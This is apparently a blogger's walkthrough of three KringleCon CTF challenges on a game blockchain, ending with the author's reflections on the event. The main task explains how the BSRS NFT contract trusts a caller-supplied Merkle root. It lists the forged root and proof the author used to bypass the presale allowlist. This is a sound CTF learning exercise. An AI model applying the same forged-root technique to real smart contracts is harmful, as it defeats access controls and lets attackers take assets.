I don’t have a Q/A section here since this was all pretty related and streamlined.
Task 14 Buy-a-hat:
I purchased a hat using Kringlecon’s custom crypto coin:
Use a KTM to pre-approve a 10 KC transaction to the wallet address: 0xDed53E07af282D845B2F0AF30Cccb2DDbBDCb3e2
Return to this kiosk and use Hat ID: 554 to complete your purchase.
I went and filled out the blanks and got this hat:
Task 15 blockchain divination:
The task here was to find the Kringlecon address…. (p.s. its pretty easy with the explorer)
Task 16: Exploit a smart contract:
The goal of this task is to “exploit” the BSRS smart contract. I assume this means the goal is to get into the “presale” for the sporc nft’s. They’ve only allowed a specific set of users onto the allow list
. Lets see what I can do.
The tutorial on merkle trees from professor Qwerty Petabyte LINK HERE is super helpful.
Using the blockchain explorer from task 15, I should probably find the contract to exploit first. I found it at block 2 at address: 0x36A3d1182Cf6C15D93E47EF3E27272BFA0E8612A
. Its about 2000 lines, so if you’re curious, its linked right here: bsrs_nft.sol
I have a good feeling I have to figure out how to trick the contract into thinking we’re a part of the original allow list. Lets see if I can look at the code and figure it out.
These seem to be the important parts:
- The function that will mint us a pre_sale nft:
|
|
- the verify function that gatekeeps minting. It looks like this function verifies that my address is part of the merkle tree adressed by
_root
:
|
|
Well they’re not storing the root or the proof in the code, so I can just provide my own a valid root and proof that both include my wallet address, and thus it will accept our input.
luckily Professor Petabyte has already setup a python script at the merkle tree link, in the links section. I can change the allowlist
variable on line 150
to some address (0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a
) and my_wallet_address
to get the required proof and root inputs:
Root: 0x5ea52a8d61cbc9dd18bfa8559f8307f783bb4460b1b1d35637dc7a67171af625
Proof: ['0x0f1859b20c631beeedaae52fee2404ce14f333209d62f94d3034b298fd91a860']
And when I test them on the sporc contract, it works!!
Last step is to follow the directions:
- I have to follow and pre-approve a transaction, so the smart contract can execute.
Once you've confirmed everything works and you're sure you have the whole validated-and-on-the-list thing down, just go find a KTM and pre-approve a 100 KC transaction from the wallet you validated. That way, the funds are ready to go. Our Wallet Address is 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a.
- Then I use my fake root and proof to exploit the smart contract:
- With the success of my exploit I now have a sporc:
Links:
Conclusion:
Overall, this Kringlecon was a great success and really enjoyable experience! I actually completed almost all of these challenges on my own. Galametriel’s fountain was the only one I needed help on, probably because how much I despise web like challenges haha. Anyway,this year was great and I was glad to help santa get his five rings of power back. Hopefully the next Kringlecon is even better than this year :) Below are some pictures that you get when you finally complete all the challenges.
Here’s santa in his castle when you finally get in:
Here’s all the rings in their glory:
ps:
theres a secret room where they give you your key back behind the Kringlecon mansion: